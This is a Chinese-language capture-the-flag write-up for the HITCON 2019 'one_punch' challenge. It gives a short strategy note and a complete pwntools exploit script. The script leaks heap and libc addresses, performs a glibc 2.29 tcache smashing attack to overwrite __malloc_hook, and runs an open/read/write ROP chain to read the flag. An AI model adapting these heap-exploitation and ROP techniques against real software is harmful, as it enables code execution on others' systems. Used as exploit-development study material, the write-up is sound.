思路
2.29下的tcachesmash利用
覆盖目标位置后使用后门函数实现tcache攻击，覆盖malloc_hook
orw读flag
EXP
from pwn import *
s = lambda data :p.send(data)
sa = lambda text,data :p.sendafter(text, str(data))
sl = lambda data :p.sendline(data)
sla = lambda text,data :p.sendlineafter(text, str(data))
r = lambda num=4096 :p.recv(num)
ru = lambda text :p.recvuntil(text)
uu32 = lambda :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
uu64 = lambda :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
lg = lambda name,data :p.success(name + "-> 0x%x" % data)
# context.log_level ='debug'
#p = process('./hitcon_ctf_2019_one_punch')
p = remote('node4.buuoj.cn','26635')
elf = ELF('./hitcon_ctf_2019_one_punch')
libc = elf.libc
def cmd(choice):
sla('> ',choice)
def add(idx,content):
cmd(1)
sla('idx: ',idx)
p.sendafter('hero name: ',content)
def edit(idx,content):
cmd(2)
sla('idx: ',idx)
p.sendafter('hero name: ',content)
def show(idx):
cmd(3)
sla('idx: ',idx)
def delete(idx):
cmd(4)
sla('idx: ',idx)
def dbg():
gdb.attach(p)
pause()
def backdoor(content):
cmd(50056)
p.send(content)
for i in range(7):
add(0,'a'*0x80)
delete(0)
show(0)
p.recvuntil('hero name: ')
heap_base = u64((p.recv(6).ljust(8,'\x00')))-0x530
lg('heap_base',heap_base)
for i in range(7):
add(1,0x400*'a')
delete(1)
add(1,0x400*'a')
add(2,0x400*'a')
delete(1)
show(1)
p.recvuntil('hero name: ')
libc_base = uu64()-96-0x1E4C40
lg('libc_base',libc_base)
#======================================
backdoor_addr = heap_base + 0x1f
add(1,0x400*'a')
for i in range(6):
add(2,0xf0*'a')
delete(2)
add(1,0x400*'a')#smbin1->1
add(2,0x300*'a')
delete(1)
add(2,0x300*'a')
add(2,0x400*'a')#smbin2->2
add(0,0x300*'a')
delete(2)
add(1,0x300*'a')
add(1,0x300*'a')
edit(1,'./flag'.ljust(8,'\x00'))
edit(2,'a'*0x300+p64(0)+p64(0x101)+p64(heap_base+0x33e0)+p64(backdoor_addr))
#==========================================
malloc_hook = libc_base + libc.sym['__malloc_hook']
add(0,0x217*'a')
delete(0)
edit(0,p64(malloc_hook))
add(0,'a'*0xf0)#make
backdoor('a')
# add_rsp_0x38 = 0xddadd+libc_base
# lg('add_rsp_0x38',add_rsp_0x38)
add_rsp_0x48 = libc_base + 0x8cfd6
backdoor(p64(add_rsp_0x48))
#==========================================
pop_rdi_ret = 0x26542+libc_base
pop_rsi_ret = 0x26f9e+libc_base
pop_rdx_ret = 0x12bda6+libc_base
pop_rax_ret = 0x47cf8+libc_base
syscall_ret = 0xcf6c5+libc_base
rops = p64(pop_rdi_ret)+p64(heap_base+0x3f20)
rops += p64(pop_rsi_ret)+p64(0)
rops += p64(pop_rdx_ret)+p64(0)
rops += p64(pop_rax_ret)+p64(2)
rops += p64(syscall_ret)
rops += p64(pop_rdi_ret)+p64(3)
rops += p64(pop_rsi_ret)+p64(heap_base+0x22b0)
rops += p64(pop_rdx_ret)+p64(0x100)
rops += p64(pop_rax_ret)+p64(0)
rops += p64(syscall_ret)
rops += p64(pop_rdi_ret)+p64(1)
rops += p64(pop_rsi_ret)+p64(heap_base+0x22b0)
rops += p64(pop_rdx_ret)+p64(0x100)
rops += p64(pop_rax_ret)+p64(1)
rops += p64(syscall_ret)
add(0,rops)
p.interactive()
